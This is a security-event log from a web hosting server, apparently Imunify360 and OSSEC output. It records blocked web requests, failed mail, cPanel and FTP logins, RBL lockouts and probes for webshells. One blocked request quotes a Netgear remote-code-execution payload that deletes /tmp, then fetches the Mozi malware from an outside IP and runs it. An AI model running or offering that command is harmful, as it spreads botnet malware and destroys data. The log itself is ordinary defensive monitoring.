IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/clientele.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 1.9.150.182
country_id: 1733045
description:
[2026-01-21 18:36:16 +0800] info [webmaild] 1.9.150.182 - ethenchen@ms-chemicals.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.69.22.22
country_id: 3658394
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=55511514876346 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.245.13.234
country_id: 1269750
description:
Jan 21 18:39:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.245.13.234 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.245.13.234
country_id: 1269750
description:
Jan 21 18:40:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.245.13.234 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 1.9.150.182
country_id: 1733045
description:
[2026-01-21 18:42:55 +0800] info [webmaild] 1.9.150.182 - ethanchen@ms-chemicals.net "GET /cpsess4496343086/webmail/jupiter/index.html?mailclient=none HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.121.193.238
country_id: 3437598
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/matter/373/65966 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.230.243.239
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:18-44.23.230.243.239||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 18:45:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 167.94.138.38
country_id: 6252001
description:
2026-01-21 18:45:36 486366 [Warning] Aborted connection 486366 to db: 'unconnected' user: 'unauthenticated' host: '167.94.138.38' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-21 18:46:39 H=([46.151.182.48]) [46.151.182.48]:58395 F=<mailer-d@astlog.com.my> rejected RCPT <astpkg@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 18:46:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:60482: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 18:47:03 H=([45.144.212.242]) [45.144.212.242]:50403 F=<no_reply@admin.com> rejected RCPT <csjb2@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 18:50:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.154
country_id: 3469034
description:
Jan 21 18:50:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.100.79.91
country_id: 1831722
description:
2026-01-21 18:53:10 dovecot_plain authenticator failed for H=([192.168.1.4]) [175.100.79.91]:25349: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 21 18:54:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.230.80.28
country_id: 3865483
description:
Jan 21 18:54:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.230.80.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.173.242.8
country_id: 6252001
description:
2026-01-21 18:54:24 dovecot_login authenticator failed for H=(localhost) [46.173.242.8]:44773: 535 Incorrect authentication data (set_id=info@visoft.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.216
country_id: 2921044
domain: acburn.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:acburnco||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.200
country_id: 2921044
domain: www.inter-link.edu.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:interlink||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 192.186.172.49
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:18-58.192.186.172.49||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.226
country_id: 2921044
domain: stillman.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:stillman||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.185
country_id: 2921044
domain: feliogroup.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:feliogroupcom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.210
country_id: 2921044
domain: fimco.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:fimco||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.202
country_id: 2921044
domain: modern.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:modern||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 18:59:54 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.224
country_id: 2921044
domain: wcc.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:woh||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.221
country_id: 2921044
domain: stonewld.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:stonewld||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.191
country_id: 2921044
domain: manforce.net
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:manfotp3||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.244.13.106
country_id: 3996063
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=20601515046622 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.118.225
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:19-04.89.110.118.225||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.17
country_id: 798544
description:
Jan 21 19:06:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.155
country_id: 3865483
description:
Jan 21 19:07:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.17
country_id: 798544
description:
Jan 21 19:07:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 19:10:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 112.202.113.29
country_id: 1694008
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/television/14/194/1472420 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.213
country_id: 1269750
description:
Jan 21 19:11:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.213 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.213
country_id: 1269750
description:
2026-01-21 19:11:08 dovecot_login authenticator failed for H=(nsg-corporate-213.230.187.122.airtel.in) [122.187.230.213]:40792: 535 Incorrect authentication data (set_id=weisiong.wan@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.45
country_id: 3865483
description:
Jan 21 19:11:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.45 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.22.212.32
country_id: 1269750
description:
[2026-01-21 19:11:57 +0800] info [cpaneld] 165.22.212.32 - manforce "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.45
country_id: 3865483
description:
Jan 21 19:12:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 19:12:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 60.50.34.190
country_id: 1733045
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/activity-details.php?id=655126 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 176.123.1.159
country_id: 617790
domain: www.feliogroup.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X71; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 19:14:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:60672: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.143.138
country_id: 2963597
description:
Jan 21 19:16:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.143.138 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.183.78.153
country_id: 1562822
domain: af-sb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/af-sb.com/feedback.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 19:19:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 19:24:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 21 19:25:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 19:25:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.43.116.34
country_id: 1269750
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/malaysia-showcase.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 209.163.117.30
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:19-27.209.163.117.30||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.76.241.120
country_id: 933860
description:
Jan 21 19:31:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.76.241.120 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.164.125.27
country_id: 1562822
domain: chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chs.com.my/ancillary-engineering-services.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.92.179.11
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=37301522744002 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.164
country_id: 3175395
description:
Jan 21 19:35:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.164 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.36.115.15
country_id: 6252001
description:
2026-01-21 19:35:13 dovecot_login authenticator failed for H=(localhost) [77.36.115.15]:55583: 535 Incorrect authentication data (set_id=info@visoft.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 19:35:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 19:35:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77316728
name: IM360 WAF: Netgear unauthenticated RCE
abuser: 119.42.59.85
country_id: 1269750
description:
IM360 WAF: Netgear unauthenticated RCE||RSV:7.64||T:APACHE||MVN:ARGS:cmd||MV:rm -rf /tmp/*;wget http://119.42.59.85:57877/Mozi.m -O /tmp/netgear;sh netgear||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 21 19:38:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.34.194
country_id: 2395170
description:
Jan 21 19:40:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.34.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 19:42:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:60791: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 19:42:06 H=([45.144.212.242]) [45.144.212.242]:50041 F=<no_reply@admin.com> rejected RCPT <hooishian@ktlog.com.my>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/component/tag/images/img/druma_photos/druma.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.232.223.113
country_id: 798544
description:
Jan 21 19:46:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.232.223.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.84.202.205
country_id: 1269750
description:
Jan 21 19:48:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.84.202.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.133.7.128
country_id: 2186224
description:
2026-01-21 19:49:24 dovecot_login authenticator failed for H=(localhost) [45.133.7.128]:13753: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 19:49:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.157.95.207
country_id: 1210997
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/listing-details.php?id=84605649 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/img/photos/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 19:57:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 19:58:32 H=([45.144.212.242]) [45.144.212.242]:52112 F=<no_reply@admin.com> rejected RCPT <info@aircarbonic.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.28.135.41
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=25301515570441 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.35.171
country_id: 6290252
description:
Jan 21 20:00:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.35.171 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 20:00:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 20:02:50 H=([45.144.212.242]) [45.144.212.242]:53355 F=<no_reply@admin.com> rejected RCPT <info@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 182.3.199.202
country_id: 1643084
description:
Jan 21 20:05:45 sv3 pure-ftpd[3350794]: (?@182.3.199.202) [WARNING] Authentication failed for user [kw.chee@nmahir.com]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.3.199.202
country_id: 1643084
description:
2026-01-21 20:05:56 dovecot_plain authenticator failed for H=(DESKTOP-PQ543B4) [182.3.199.202]:62534: 535 Incorrect authentication data (set_id=kw.chee@nmahir.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 109.248.204.178
country_id: 2017370
domain: tst-ma.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-05.109.248.204.178||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.3.199.202
country_id: 1643084
description:
2026-01-21 20:06:11 dovecot_plain authenticator failed for H=(DESKTOP-PQ543B4) [182.3.199.202]:64231: 535 Incorrect authentication data (set_id=kw.chee@nmahir.com)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 182.3.199.202
country_id: 1643084
description:
Jan 21 20:05:59 sv3 pure-ftpd[3351037]: (?@182.3.199.202) [WARNING] Authentication failed for user [admin]


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 46.8.223.45
country_id: 2017370
domain: tst-ma.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-05.46.8.223.45||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 20:10:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:60860: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.33.47.2
country_id: 1835841
description:
Jan 21 20:12:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.33.47.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.33.47.2
country_id: 1835841
description:
2026-01-21 20:12:07 dovecot_login authenticator failed for H=([118.33.47.2]) [118.33.47.2]:59316: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 20:14:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.186.68.153
country_id: 1814991
description:
2026-01-21 20:14:54 dovecot_login authenticator failed for H=([222.186.68.153]) [222.186.68.153]:51662: 535 Incorrect authentication data (set_id=lutfi@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.188.175.103
country_id: 3624060
description:
2026-01-21 20:16:52 dovecot_login authenticator failed for H=(localhost) [203.188.175.103]:21444: 535 Incorrect authentication data (set_id=info@visoft.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 20:20:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.215.245.175
country_id: 3469034
description:
2026-01-21 20:21:53 dovecot_login authenticator failed for H=([186.239.240.127]) [186.215.245.175]:39101: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.164.137
country_id: 99237
description:
Jan 21 20:22:24 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.164.137 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.164.137
country_id: 99237
description:
2026-01-21 20:22:26 dovecot_plain authenticator failed for H=(inapicroy) [65.20.164.137]:50128: 535 Incorrect authentication data (set_id=peiqin@kendek.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/m.me/images/home/press.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.94.208.110
country_id: 2921044
description:
Jan 21 20:22:40 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.94.208.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-01-21 20:22:42 dovecot_login authenticator failed for H=(q1dVlFSEv) [158.94.208.110]:59387: 535 Incorrect authentication data (set_id=steven@oxbold.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.94.208.110
country_id: 2921044
description:
Jan 21 20:23:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.94.208.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-01-21 20:23:02 dovecot_login authenticator failed for H=(o8GNkOLqR) [158.94.208.110]:63829: 535 Incorrect authentication data (set_id=steven)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.196.180.150
country_id: 783754
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/news-more.php?id=320753 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.94.208.110
country_id: 2921044
description:
